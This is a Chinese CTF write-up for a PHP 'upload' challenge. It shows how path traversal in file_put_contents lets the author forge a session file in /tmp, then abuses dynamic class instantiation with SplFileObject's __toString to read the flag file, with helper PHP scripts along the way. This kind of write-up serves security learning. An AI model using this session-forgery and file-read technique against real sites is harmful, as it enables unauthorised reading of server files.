虽然没参加,不过有个师傅跑过来讨论了,就顺便搞搞,第一题是opensns的nday,这里主要分析下第二题upload。还挺有意思,原来一开始想着用像 [CVE-2021-3129](https://tari.moe/2021/06/03/laravel8-debug-rce/ 的方式写入可控的 session文件,结果 h
被过滤了。。
upload
源码
upload.7z
源码分析
关键文件有两个:index.php 和 info.php
info.php 主要是告诉我们,session存在 /tmp
目录下

index.php 内容较多,不过分析了一波,首先映入眼帘的是 file_put_contents
方法,参数没有进行过滤,存在目录穿越。那我们可以通过目录穿越写 session 文件了。
PHP的session默认是以文件的形式进行存储,而且文件名是以 sess_ 开头的,后面的值为,为我们Cookie中 PHPSESSID=xxxxxxxxxxxxx 的 xxxxxxxxxxxxx。也就是我们以 PHPSESSID=xxxxxxxxxxxx 访问站点,PHP会在 /var/lib/tmp/php 之类的目录创新一个名为 sess_xxxxxxxxxxxxx 的文件,内容为序列化后的数据。
但题目过滤了字符 h
1 2 3
| if(stristr($_POST['filename'], 'h')){ die('no h!'); }
|
正常来说,我们是没法目录穿越至存放 session 的路径的,毕竟有 /php
有 h
,但,题目中 session.save_path
在 /tmp 目录,而且写入的内容没有限制,也就是说我们可以任意伪造 session 了。
75行处看似可以调用函数
1 2
| $pathinfo = array($_GET['file']=>$_SESSION['files'][$_GET['file']]); ${$_SESSION['func']}($pathinfo);
|
仔细一分析… 这里 ${}
原来是一种简单语法,也就是先获取$_SESSION['func']
的值,作为变量名,然后作为函数名去调用,当然可以构造 $_SESSION['func']
为 _SESSION["paths"]
然后 $_SESSION["paths"]
为 system
之类的,但 $pathinfo
是数组…. 暂时没发现啥方法是传入数组进行利用的。
所以另辟蹊径,发现56行 new 了一个对象
1
| $temp = new $class($path);
|
下面有个直接输出
因 echo
对象会触发对象的 __toString
魔术方法,如果能找到啥对象实例化后的 __toString
魔术方法,会对 $path
进行一些利用(如输出这个参数文件内容,执行这个参数命令之类的)就好了。
刚好找到一个脚本 (
可以查看PHP原生类即内置类,查看拥有所需魔术方法的类如下
这里只获取 __toString
,所以把其他注释了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php $classes = get_declared_classes(); foreach($classes as $class) { $methods = get_class_methods($class); foreach ($methods as $method) { if (in_array($method, array(
'__toString',
))) { print "$class::$method";echo '<br>'; } } }
|
运行结果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| Exception::__toString ErrorException::__toString Error::__toString ParseError::__toString TypeError::__toString ArgumentCountError::__toString ArithmeticError::__toString DivisionByZeroError::__toString ClosedGeneratorException::__toString DOMException::__toString LogicException::__toString BadFunctionCallException::__toString BadMethodCallException::__toString DomainException::__toString InvalidArgumentException::__toString LengthException::__toString OutOfRangeException::__toString RuntimeException::__toString OutOfBoundsException::__toString OverflowException::__toString RangeException::__toString UnderflowException::__toString UnexpectedValueException::__toString CachingIterator::__toString RecursiveCachingIterator::__toString SplFileInfo::__toString DirectoryIterator::__toString FilesystemIterator::__toString RecursiveDirectoryIterator::__toString GlobIterator::__toString SplFileObject::__toString SplTempFileObject::__toString IntlException::__toString AssertionError::__toString PDOException::__toString PharException::__toString Phar::__toString PharData::__toString PharFileInfo::__toString ReflectionException::__toString ReflectionFunctionAbstract::__toString ReflectionFunction::__toString ReflectionParameter::__toString ReflectionType::__toString ReflectionNamedType::__toString ReflectionMethod::__toString ReflectionClass::__toString ReflectionObject::__toString ReflectionProperty::__toString ReflectionClassConstant::__toString ReflectionExtension::__toString ReflectionZendExtension::__toString mysqli_sql_exception::__toString SimpleXMLElement::__toString SimpleXMLIterator::__toString SoapFault::__toString SodiumException::__toString
|
看到一些反射之类的,当然发现了一个 SplFileObject
类,发现他的 __toString 方法是 SplFileObject::fgets 方法的别名,作用是一行行文件读取。 flag 文件一般是一行,刚好满足要求。
实际利用
创建一个 flag 文件,内容为

先构造 session
1 2 3 4 5
| <?php ini_set('session.save_path', '/tmp'); session_start(); $_SESSION['paths'] = array(); $_SESSION['paths']["/tmp/flag"] = 'SplFileObject';
|
然后访问一下这个文件,记得看请求的 Cookie: PHPSESSID 的值,然后到本地找到文件,把生成的内容复制一下,粘贴到 content 字段。因为php session 都是sess开头的,所以通过目录穿越写入 sess_tari

写入session后

实例化时,实际是实例化了 SplFileObject("/tmp/flag")


然后就会输出任意我们想输出的文件内容了

搞定~
参考链接
[1] https://www.freebuf.com/articles/web/263710.html
[2] https://mp.weixin.qq.com/s/ucjyuXnWn4PkiD_40Eydkw